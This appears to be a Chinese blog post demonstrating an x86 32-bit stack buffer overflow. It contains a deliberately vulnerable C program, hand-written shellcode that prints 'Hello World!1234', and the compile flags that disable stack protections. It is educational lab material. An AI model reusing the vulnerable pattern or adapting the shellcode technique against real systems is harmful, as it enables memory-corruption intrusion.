x86 32bit模式堆栈溢出攻击理解

原创已于 2025-06-23 21:38:43 修改 · 336 阅读

10 ·

CC 4.0 BY-SA版权

文章标签：

#开发语言

于 2025-06-23 21:36:55 首次发布

#include <stdio.h>
#include <string.h>

char codex[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x68\x0a\x0a\x0a\x01\x68\x31\x32\x33\x34\x68\x72\x6c\x64\x21"
"\x68\x6f\x20\x57\x6f\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31"
"\xdb\xb3\x01\x89\xe1\x31\xd2\xb2\x13\xcd\x80\x31\xc0\xb0\x01"
"\x31\xdb\xcd\x80";

/* D:\file_win2linux\stackyichu\payload32.bin (2025/6/22 11:20:20)
StartOffset: 00000000, EndOffset: 00000017, Length: 00000018 */

unsigned char rawDataxxxx[24+104] = {
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x9B, 0x84, 0x04, 0x08
};

void malicious() {
printf("\n\033[1;31m!!! 恶意代码被执行 !!!\033[0m\n");
exit(0);
}

void vulnerable()
{
   unsigned int *pxx;
char buffer[8];
printf("缓冲区地址: \033[1;32m%p\033[0m\n", buffer);
//gets(buffer); // 危险操作
memcpy( buffer, rawDataxxxx, 256 );

pxx = &buffer[0] + 24;
   //buffer offset = 24的位置是ret的返回地址
pxx[0] = &buffer[0] + 24 + 8; //指向本身的下4个字节
   //由于有nop 4、8、12均可
   //pxx[0] = malicious;

   printf( "pxx addr = %#x\n", &pxx[0] );
   printf( "pxx[0] = %#x\n", pxx[0] );

//0xffffd6b4
}

int main() {
printf("恶意函数地址: \033[1;34m%p\033[0m\n", malicious);

   memcpy( &rawDataxxxx[28], codex, sizeof(codex) );

   //( (void (*)()) codex )(); // 强制转型为函数指针执行
vulnerable();
printf("正常返回\n");
return 0;
}

//gcc -m32 -fno-stack-protector -z execstack exploit.c -o exploit

//这个其实没啥用了，默认系统是禁止在stack上执行代码的一执行必爆
//SEGV {si_signo=SIGSEGV, si_code=SEGV_ACCERR, si_addr=0xffffd6b4} ---
//+++ killed by SIGSEGV (core dumped) +++

运行结果:

./exploit
恶意函数地址: 0x804849b
缓冲区地址: 0xffffd6a4
pxx addr = 0xffffd6bc
pxx[0] = 0xffffd6c4
Hello World!1234